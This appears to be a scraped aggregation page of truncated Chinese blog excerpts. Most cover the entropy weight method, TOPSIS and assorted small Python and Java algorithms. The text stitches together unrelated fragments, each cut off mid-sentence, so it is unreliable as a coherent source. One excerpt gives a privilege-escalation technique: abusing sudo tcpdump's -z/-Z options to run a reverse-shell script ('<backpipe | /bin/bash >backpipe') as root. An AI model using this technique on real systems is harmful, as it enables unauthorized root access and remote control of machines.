本文从阐述Python实现客观赋权法的四种方式: 一. 熵权法 二. 因子分析权数法(FAM) 三. 主成分分析权数法(PCA) 四. 独立性权系数法 Python实现客观赋权法,在进行赋权前,先导入数据(列:各维属性:行:各样本),并自行进行去空值.归一化等操作. import pandas as pd import numpy as np data=pd.DataFrame(pd.read_excel('路径')) 一. 熵权法 若某个指标的信息熵越大(即离散程度越大),表明指标提供的信息量

一.熵权法介绍 熵最先由申农引入信息论,目前已经在工程技术.社会经济等领域得到了非常广泛的应用. 熵权法的基本思路是根据各个特征和它对应的值的变异性的大小来确定客观权重. 一般来说,若某个特征的信息熵越小,表明该特征的值得变异(对整体的影响)程度越大,提供的信息量越多,在综合评价中所能起到 的作用也越大,其权重也就越大.相反,某个特征的信息熵越大,表明指标值得变异(对整体的影响)程度越小,提供的信息量也越少, 在综合评价中所起到的作用也越小,其权重也就越小. 二.熵权法赋权步骤 1. 数据标准化

% % X 数据矩阵 % % n 数据矩阵行数即评价对象数目 % % m 数据矩阵列数即经济指标数目 % % B 乘以熵权的数据矩阵 % % Dist_max D+ 与最大值的距离向量 % % Dist_min D- 与最小值的距离向量 % % e 熵值列表 % % d 信息熵冗余度 % % w 权值表 % % stand_S 归一化矩阵 % % sorted_S 按照降序排列的数据矩阵 %% 第一步:把数据复制到工作区,并将这个矩阵命名为X clear;clc load jingjizhibi

按照信息论基本原理的解释,信息是系统有序程度的一个度量,熵是系统无序程度的一个度量:如果指标的信息熵越小,该指标提供的信息量越小,在综合评价中所起作用理当越小,权重就应该越低.因此,可利用信息熵这个工具,计算出各个指标的权重,为多指标综合评价提供依据. 物理意义 物质微观热运动时,混乱程度的标志.热力学中表征物质状态的参量之一,通常用符号S表示.在经典热力学中,可用增量定义为dS=(dQ/T),式中T为物质的热力学温度;dQ为熵增过程中加入物质的热量:下标“可逆”表示加热过程所引起的变化过程是可

参考原理博客地址https://blog.csdn.net/u013713294/article/details/53407087 一.基本原理 在信息论中,熵是对不确定性的一种度量.信息量越大,不确定性就越小,熵也就越小:信息量越小,不确定性越大,熵也越大. 根据熵的特性,可以通过计算熵值来判断一个事件的随机性及无序程度,也可以用熵值来判断某个指标的离散程度,指标的离散程度越大,该指标对综合评价的影响(权重)越大,其熵值越小. 二.熵值法步骤 1. 选取n个国家,m个指标,则为第i个国家的第j

熵权topsis是一种融合了熵值法与TOPSIS法的综合评价方法.熵值法是一种客观赋值法,可以减少主观赋值带来的偏差:而topsis法是一种常见的多目标决策分析方法,适用于多方案.多对象的对比研究,从中找出最佳方案或竞争力最强的对象. 熵权topsis是先由熵权法计算得到指标的客观权重,再利用TOPSIS法,对各评价对象进行评价. 熵权topsis法分析步骤通常可分为以下三步: (1)数据标准化 (2)熵值法确定评价指标的权重 (3)topsis法得到评价对象的排名结果 其中第2.3步由SPSS

本文从以下四个方面,介绍用Python实现熵值法确定权重: 一. 熵值法介绍 二. 熵值法实现 三. Python实现熵值法示例1 四. Python实现熵值法示例2 一. 熵值法介绍 熵值法是计算指标权重的经典算法之一,它是指用来判断某个指标的离散程度的数学方法.离散程度越大,即信息量越大,不确定性就越小,熵也就越小:信息量越小,不确定性越大,熵也越大.根据熵的特性,我们可以通过计算熵值来判断一个事件的随机性及无序程度,也可以用熵值来判断某个指标的离散程度,指标的离散程度越大,该指标对综合评价

Python基于回溯法解决01背包问题实例 这篇文章主要介绍了Python基于回溯法解决01背包问题,结合实例形式分析了Python回溯法采用深度优先策略搜索解决01背包问题的相关操作技巧,需要的朋友可以参考下 同样的01背包问题,前面采用动态规划的方法,现在用回溯法解决.回溯法采用深度优先策略搜索问题的解,不多说,代码如下: bestV=0 curW=0 curV=0 bestx=None defbacktrack(i):   globalbestV,curW,curV,x,bestx   i

简介: 使用位移法将ip转为number型以及将number型转为ip,使用语言为python2.7 #!/usr/bin/env python # coding:utf-8 def ip2num(ip):     ip = [int(x) for x in ip.split('.')]     return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3] print ip2num('10.101.101.13') #174

想写一个冒泡法排序,没什么思路,就先写了个java的 public static void main(String[] args) { int array[] = {88,2,43,12,34,8,67,33,99}; for (int i = 0; i < array.length -1; i++){ for(int j = 0 ;j < array.length - i - 1; j++){ if(array[j] < array[j + 1]){ int temp = array[

本来想用回溯法实现 算24点.题目都拟好了,就是<python 回溯法 子集树模板 系列 -- 7.24点>.无奈想了一天,没有头绪.只好改用暴力穷举法. 思路说明 根据四个数,三个运算符,构造三种中缀表达式,遍历,计算每一种可能 显然可能的形式不止三种.但是,其它的形式要么得不到24点,要么在加.乘意义下可以转化为这三种形式的表达式! 使用内置的eval函数计算中缀表达式,使得代码变得非常简洁! 完整代码 # 作者:hhh5460 # 时间:2017年6月3日 import itertool

1. 为什么要有转义? ASCII 表中一共有 128 个字符.这里面有我们非常熟悉的字母.数字.标点符号,这些都可以从我们的键盘中输出.除此之外,还有一些非常特殊的字符,这些字符,我通常很难用键盘上的找到,比如制表符.响铃这种. 为了能将那些特殊字符都能写入到字符串变量中,就规定了一个用于转义的字符 \ ,有了这个字符,你在字符串中看的字符,print 出来后就不一定你原来看到的了. 举个例子 >>> msg = "hello\013world\013hello\013pyt

当当前用户可以通过sudo执行tcpdump时,可以用来进行提权 tcpdump中有两个参数-z和-Z,前者用来执行一个脚本,后者用来指定tcpdump以哪个用户运行,当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的 一.编写反向shell脚本 #shell.sh <backpipe | /bin/bash >backpipe 二.通过sudo调用tcpdump来执行shell.sh这个脚本 [test@localhost tmp]$ -G -z /tmp/s

欧几里得算法的目标是找到两个数的最大公约数. 计算两个非负整数p和q的最大公约数:若q是0,则最大公约数为p.否则,将p除以q得到余数r,p和q的最大公约数即为q和r的最大公约数. def euclid(p, q): if q == 0: return p r = p % q return euclid(q, r) if __name__ == "__main__": print(euclid(512,1024))

猜测python应该是有现成的模块可以解决该问题,不过没找到,所以自己简单写了个函数处理: def tranform(inputString): num_value = re.compile('^[0-9.]+([*|x][0-9]+)+[E|e|^][+-]?[0-9]+$') result = num_value.match(inputString) if result: temp1 = float(1) res = re.match('^[0-9.]+([*|x][0-9]+)+', in

作为初二的学生,数学题总是令我苦恼的问题.尤其是我们这里的预备班考试(即我们这里最好的两所高中提前一年招生,选拔尖子生的考试)将近,我所面对的数学题越发令人头疼. 这不,麻烦来了: 如图,在正方形ABCD中,E在射线BC上,连接AE.CE,则DE/AE的最小值为________. 拿到这题,信心慢慢的我从容淡定地设AB:CE为1:x,即AB=k,CE=xk,于是原式(设为y)=[k^2+(xk)^2]^0.5/[k^2+(k+xk)^2]^0.5(这里的"^"代表乘方).这不就只要求[

一.mapminmax Process matrices by mapping row minimum and maximum values to [-1 1] 意思是将矩阵的每一行处理成[-1,1]区间,此时对于模式识别或者其他统计学来说,数据应该是每一列是一个样本,每一行是多个样本的同一维,即对于一个M*N的矩阵来说,样本的维度是M,样本数目是N,一共N列N个样本. 其主要调用形式有: 1. [Y,PS] = mapminmax(X,YMIN,YMAX)     % 将矩阵的每一行压缩到 [

总体思路 : 数独九行九列,一个list装一行,也就需要一个嵌套两层的list 初始会有很多数字,我可不想一个一个赋值 那就要想办法偷懒啦 然后再是穷举,如何科学的穷举 第一部分:录入 某在线数独网站的截图 要想办法,把它方便的变成嵌套的list 我的解决办法: 手打到Excel里面 然后另存为csv文件 然后就当做txt读取 l = None with open('数独.csv','r',encoding = 'utf-8') as f: l = f.readlines() print(l)

@source_data:数据集 @binary_num:要查找的数 @mid:中间数的键值 def binary_search(source_data,search_num): #传入数据集计算中间数键值 mid = int(len(source_data)/2) #确认数据集的数据个数大于1 if int(len(source_data)) >1: #判断要找的数与中间数比较,如果中间数大于要找的数,要找的数在中间数左边 if source_data[mid] > search_num:

魔法方法也为特殊方法,即用两个下划线形成的(__方法__).自己定义的方法最好不要采用这种方式,因为这些方法会在一些特殊的情况下直接被调用. 1.第一个魔法方法:类中常用的__init__()方法:相当于其他语言中的构造函数,用来初始化参数 当类的一个对象被创建之后会立即调用构造函数. 2.迭代器:__iter__ ,所谓的迭代器就是具有next方法的对象.在调用next方法时会返回它的下一个值,若next函数被调用时没有值被返回会引发一个StopIteration异常. 迭代器协议:对象需要提